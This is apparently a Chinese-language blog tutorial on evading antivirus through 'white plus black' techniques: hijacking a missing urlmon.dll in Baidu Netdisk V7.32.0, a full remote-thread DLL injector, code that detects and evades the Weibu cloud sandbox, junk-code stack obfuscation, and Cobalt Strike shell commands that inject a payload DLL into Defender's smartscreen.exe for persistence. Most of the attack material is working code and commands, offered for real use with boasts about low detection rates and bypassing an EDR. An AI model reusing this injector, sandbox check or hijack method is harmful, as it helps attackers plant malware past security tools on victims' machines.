Q&A
为什么我们需要白加黑这种攻击方法呢?
答:无论是分离免杀还是捆绑上线的免杀方式早已被研究员们每天推演成千上万遍了,像CS这类主流的C2工具的yara规则早就被各大安全厂商研究透了,去年9月份XOR加密尚且还能躲过微步的排查,今年XOR密钥一被撞出,那么yara规则已经被匹配的无处可逃了,如下图。白加黑成本最低,最有效率(除了某数字杀软对此类方式较敏感,针对其他杀软都有机可趁)。
那什么是白加黑呢?
答:DLL注入,一般可以通过dll劫持来实现,就是通过创建一个缺省的DLL,自己制作一个恶意的DLL去充当缺省的DLL,在程序运行时创建线程/进程会调用该DLL,程序加载包含恶意代码的DLL文件后,即运行我们恶意的dll中的恶意代码。当然也可以直接通过进程句柄获取后直接申请内存写入注入dll,由于是黑dll+白名单程序,所以该类方法取名为白加黑。
DLL劫持挖掘教程
前言:白程序需要师傅们自己去寻找,我这里只跟师傅们分享去年挖到的一个百度网盘的dll劫持,一般最好是挖通用点的(普适性强的,就能保证绝大多数电脑都存在的程序,比如windows的OneDrive啥的)
利用思路: 找到缺省dll->查看缺省dll中的预定义函数不和C库函数重名->编写灰dll的主函数dllmain->dllmain中写入恶意代码(最好新起一个进程,线程可能会造成死锁)
百度网盘V7.32.0存在DLL劫持漏洞
问题简述:存在dll缺省文件危害,可以供攻击者远程上传缺省dll进行dll劫持,造成命令执行、免杀木马上线等潜在危害
1.利用ProcessMonitor探索缺省文件,发现与百度网盘启动程序BaiduNetdisk.exe同一目录下存在缺省urlmon.dll文件,利用visualstudio调试程序dumpbin.exe来对该程序pe结构进行初步摸索。
dumpbin.exe /headers xxxxx/BaiduNetdisk.exe
dumpbin.exe /imports xxxxx/BaiduNetdisk.exe
发现该应用程序是X86 32位的,且导入表中泄露了缺省dll文件urlmon.dll的接口函数UrlMkSetSessionOption()、UrlMkGetSessionOption(),且为非c库自带函数,为自定义会话设定函数,可进行dll劫持伪造函数接口。(这里需要注意如果是C库函数,那么就很难去利用,会导致重名索引报错)
2.生成目标dll文件,与百度网盘启动程序BaiduNetdisk.exe放到同一目录下
3.运行百度网盘启动程序BaiduNetdisk.exe,发现BaiduNetdisk.exe成功执行urlmon.dll中的扩展恶意程序,(POC为弹计算器的指令),附在最后
#利用poc
#include "framework.h"
#include<windows.h>
#include <iostream>
using namespace std;
extern "C" __declspec(dllexport) int UrlMkSetSessionOption()
{
return 0;
}
extern "C" _declspec(dllexport) int UrlMkGetSessionOptio()
{
return 0;
}
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateProcessA(NULL,
(LPSTR)"calc.exe",
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
(LPSTARTUPINFOA)&si,
(LPPROCESS_INFORMATION)&pi
);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Dll注入Defender思路
先给个简单的dll注入模板主函数,我下面是设置有传参参数接收的,参数1为进程PID,参数2为dll文件路径。
int main(int argc, char* argv[]) {
HANDLE processHandle;
PVOID remoteBuffer;
wchar_t dllPath[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, argv[2], -1, dllPath, MAX_PATH);
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath,
MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
PTHREAD_START_ROUTINE threatStartRoutineAddress =
(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress,
remoteBuffer, 0, NULL);
CloseHandle(processHandle);
printf("%d", argc);
printf("inject successfully!");
return 0;
}
这里有几点需要注意我们用wchar_t dllPath[MAX_PATH]声明一个wchar_t类型的数据来存储dll路径,但是后续需要用到MultiByteToWideChar()函数来将多字节字符起转换为宽字符,才不会引起后续函数传参类型不对口,其他的就是常规的获得进程句柄,打开句柄后获得相关pid后分配内存空间写入我们的黑dll中内容,再创建一个远程线程去运行。
做的一些抗虚拟抗沙箱处理
对抗微步云沙箱
我尝试丢了一下原生马拿去微步沙箱测了一下,发现其居然是C盘下的一个随机序列的虚拟环境下运行的。
那我们对抗也就简单起来了,正则匹配到它运行路径后续一个序列号,需要注意的是C:\[A-Za-z]{7}\dllinject.exe中我的程序名字为dllinject.exe,这里改成你的,不然没任何作用!
bool AntiWeibu() {
wchar_t currentProcessPath[MAX_PATH + 1];
GetModuleFileName(NULL, currentProcessPath, MAX_PATH + 1);
std::wstring input(currentProcessPath);
std::wregex pattern(LR"(C:\[A-Za-z]{7}\dllinject.exe)");
std::wsmatch matches;
if (std::regex_search(input, matches, pattern)) {
return false;
}
else {
return true;
}
}
使用混淆函数混淆堆栈,使用绘制三角形金字塔的混淆函数混淆一下堆栈。
int RunCode() {
int N, i, j, k;
N = 8;
for (i = 1; i <= N; i++) {
for (j = 1; j <= N - i; j++)
printf(" ");
for (k = 1; k <= 2 * i - 1; k++)
printf("*");
printf("n");
}
return 0;
}
然后就是主函数做点手脚了,根据传参个数不同来执行不同的预期效果嘛
int main(int argc, char* argv[]) {
if (argc == 1)
{
RunCode();
}
else if(argc==2)
{
printf(" usage: dllinject.exe pid dllpath");
printf("%d", argc);
}
else
{
AntiWeibu();
HANDLE processHandle;
PVOID remoteBuffer;
wchar_t dllPath[MAX_PATH];
MultiByteToWideChar(CP_ACP, 0, argv[2], -1, dllPath, MAX_PATH);
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath,
MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
PTHREAD_START_ROUTINE threatStartRoutineAddress =
(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress,
remoteBuffer, 0, NULL);
CloseHandle(processHandle);
printf("%d", argc);
printf("inject successfully!");
return 0;
}
}
先上个微步的校验效果图,杀软通过率1/25还是很不错了。
注入Defender
接着说一下今天要注入的进程smartscreen.exe,师傅们可以先通过链接看看这个函数是做啥的!其实就是我们从浏览器下载一些资源,它询问是否保留”该文件可能损害你的设备….该文件具有恶意威胁”巴拉巴拉的一个程序,它是Defender组成的一部分。
https://learn.microsoft.com/zh-cn/windows/security/operating-system-security/virus-and-threat-protection/microsoft-defender-smartscreen/
注入流程: 找准pid->注入成功
shell tasklist|findstr smartscreen.exe
shell dllinject.exe 13660 D:T00lsBypassavbypass360artifact.dll
这里其实还是比较依靠先锋马,这里我的先锋马测试了天融信的edr,轻轻松松。
后续成功注入defender-smartscreen.exe,做一个权限维持作用吧(但也不排除有些杀软连defender都敢杀哈哈哈哈)
暂无评论内容